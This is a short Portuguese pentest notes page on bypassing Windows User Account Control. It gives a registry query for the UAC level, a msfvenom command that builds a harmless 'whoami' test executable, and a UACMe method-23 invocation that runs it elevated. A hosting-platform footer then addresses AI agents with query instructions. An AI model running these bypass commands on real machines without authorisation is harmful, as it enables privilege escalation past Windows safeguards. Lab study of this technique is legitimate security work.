> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/windows-vulnerabilities/local-privilege-escalation-and-credentials/bypass-uac-user-account-control.md).

# Bypass de UAC

O Controle de Conta de Usuário limita a elevação automática para ações administrativas. Um bypass do UAC é útil apenas quando o usuário atual já possui um token de administrador filtrado ou o host tem uma configuração fraca de elevação.

## Verifique o nível do UAC

```powershell
(Get-ItemProperty -Path "HKLM:/SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/System").ConsentPromptBehaviorAdmin
```

Valores comuns:

| Valor | Significado                                |
| ----- | ------------------------------------------ |
| `0`   | Sem prompt do UAC                          |
| `1`   | Elevação silenciosa dependendo do contexto |
| `2`   | Prompt padrão                              |
| `5`   | Comportamento de prompt mais rigoroso      |

<figure><img src="/files/8600c616896e60a8ee59765f43428e91bda2f4dd" alt="UAC registry policy query"><figcaption></figcaption></figure>

<figure><img src="/files/8f95f2ada9e28bca1015594f60035ab1c1f7f447" alt="UAC policy value result" width="563"><figcaption></figcaption></figure>

## Prepare um binário de validação para laboratório

```bash
msfvenom -p windows/exec CMD='cmd /c whoami /all > C:\Windows\Temp\uac-check.txt' -f exe -o uac-check.exe
```

## Execute com UACMe

{% embed url="<https://github.com/hfiref0x/UACME>" %}

```powershell
.\Akagi64.exe 23 C:\Temp\uac-check.exe
Get-Content C:\Windows\Temp\uac-check.txt
```

<figure><img src="/files/5ed8a7a833ac8c6305d02d87976be1d7d69e39f6" alt="UACMe execution in a Windows lab"><figcaption></figcaption></figure>

## Pontos-chave

* Um bypass do UAC não é uma verdadeira elevação a partir de um usuário padrão.
* Confirme o nível do UAC e o contexto do token antes de testar.
* Use primeiro uma ação de validação inofensiva; depois mude para a ação de avaliação delimitada somente quando autorizado.
* Corrija com configurações rígidas do UAC e evitando sessões de administrador expostas.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/windows-vulnerabilities/local-privilege-escalation-and-credentials/bypass-uac-user-account-control.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
